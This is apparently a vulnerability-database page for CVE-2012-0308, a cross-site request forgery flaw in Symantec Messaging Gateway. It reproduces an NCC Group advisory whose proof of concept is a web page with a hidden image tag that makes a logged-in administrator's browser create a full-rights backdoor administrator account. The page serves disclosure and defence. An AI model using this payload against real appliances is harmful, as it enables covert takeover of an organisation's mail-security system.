CVE-2012-0308

medium

Published 2012-08-29 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Cross-site request forgery (CSRF) vulnerability in Symantec Messaging Gateway (SMG) before 10.0 allows remote attackers to hijack the authentication of administrators.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-23109 webapps multiple text · 3 KB

Ben Williams · 2012-12-03

Symantec Messaging Gateway 9.5.3-3 - Cross-Site Request Forgery

text exploit Source: Exploit-DB

=======
Summary
=======
Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator (for example)
Release Date: 30 November 2012
Reference: NGS00263
Discoverer: Ben Williams <ben.williams@ngssecure.com>
Vendor: Symantec
Vendor Reference: 
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Risk: High
Status: Published

========
TimeLine
========
Discovered: 16 April 2012
Released: 16 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012

===========
Description
===========
I. VULNERABILITY
-------------------------
Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator (for example)

II. BACKGROUND
-------------------------
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance

III. DESCRIPTION
-------------------------
It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.

=================
Technical Details
=================
IV. PROOF OF CONCEPT
-------------------------
An attacker can create an web page with a hidden image-tag (example below)

<html>
A very interesting page indeed
<img
src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true"
height=0 width=0>
</html>

When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).

The administrator would not notice anything until they go to here:
http://192.168.1.59:41080/brightmail/admin/administrator/view.do
(where they would see the added administrator, but if the username is something like "system" or "filter" they may not notice this as an issue anyway)

The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.

Many other functions can be abused in this way to arbitrarily reconfigure the appliance.

===============
Fix Information
===============
An updated version of the software has been released to address the vulnerability:

http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00


NCC Group Research
http://www.nccgroup.com/research


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Application impact

Vendor	Product	Versions
symantec	messaging_gateway	`{"endIncluding":"9.5.4"}`
symantec	messaging_gateway	`9.5`
symantec	messaging_gateway	`9.5.1`
symantec	messaging_gateway	`9.5.2`
symantec	messaging_gateway	`9.5.3`
symantec	messaging_gateway	`10.0`

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.